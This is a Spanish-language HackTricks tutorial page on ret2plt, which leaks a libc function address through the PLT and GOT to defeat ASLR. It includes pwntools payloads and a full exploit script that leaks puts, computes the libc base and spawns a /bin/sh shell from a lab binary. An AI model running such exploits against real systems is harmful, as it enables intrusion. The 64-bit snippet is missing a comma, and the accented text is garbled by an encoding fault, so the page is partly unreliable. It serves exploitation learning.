Ret2plt

Reading time: 3 minutes

tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Apoya a HackTricks

Informaci贸n B谩sica

El objetivo de esta t茅cnica ser铆a filtrar una direcci贸n de una funci贸n del PLT para poder eludir ASLR. Esto se debe a que si, por ejemplo, filtras la direcci贸n de la funci贸n puts de la libc, puedes entonces calcular d贸nde est谩 la base de libc y calcular los desplazamientos para acceder a otras funciones como system.

Esto se puede hacer con una carga 煤til de pwntools como (desde aqu铆):

python
# 32-bit ret2plt
payload = flat(
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
)

# 64-bit
payload = flat(
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
)

Nota c贸mo puts (usando la direcci贸n del PLT) se llama con la direcci贸n de puts ubicada en la GOT (Tabla de Desplazamiento Global). Esto se debe a que para cuando puts imprime la entrada de la GOT de puts, esta entrada contendr谩 la direcci贸n exacta de puts en memoria.

Tambi茅n nota c贸mo se utiliza la direcci贸n de main en el exploit, de modo que cuando puts termina su ejecuci贸n, el binario llama a main nuevamente en lugar de salir (as铆 que la direcci贸n filtrada seguir谩 siendo v谩lida).

caution

Nota c贸mo para que esto funcione el binario no puede ser compilado con PIE o debes haber encontrado una filtraci贸n para eludir PIE para conocer la direcci贸n del PLT, GOT y main. De lo contrario, necesitas eludir PIE primero.

Puedes encontrar un ejemplo completo de este bypass aqu铆. Este fue el exploit final de ese ejemplo:

python
from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvline()

payload = flat(
'A' * 32,
elf.plt['puts'],
elf.sym['main'],
elf.got['puts']
)

p.sendline(payload)

puts_leak = u32(p.recv(4))
p.recvlines(2)

libc.address = puts_leak - libc.sym['puts']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
libc.sym['exit'],
next(libc.search(b'/bin/sh\x00'))
)

p.sendline(payload)

p.interactive()

Otros ejemplos y referencias

tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Apoya a HackTricks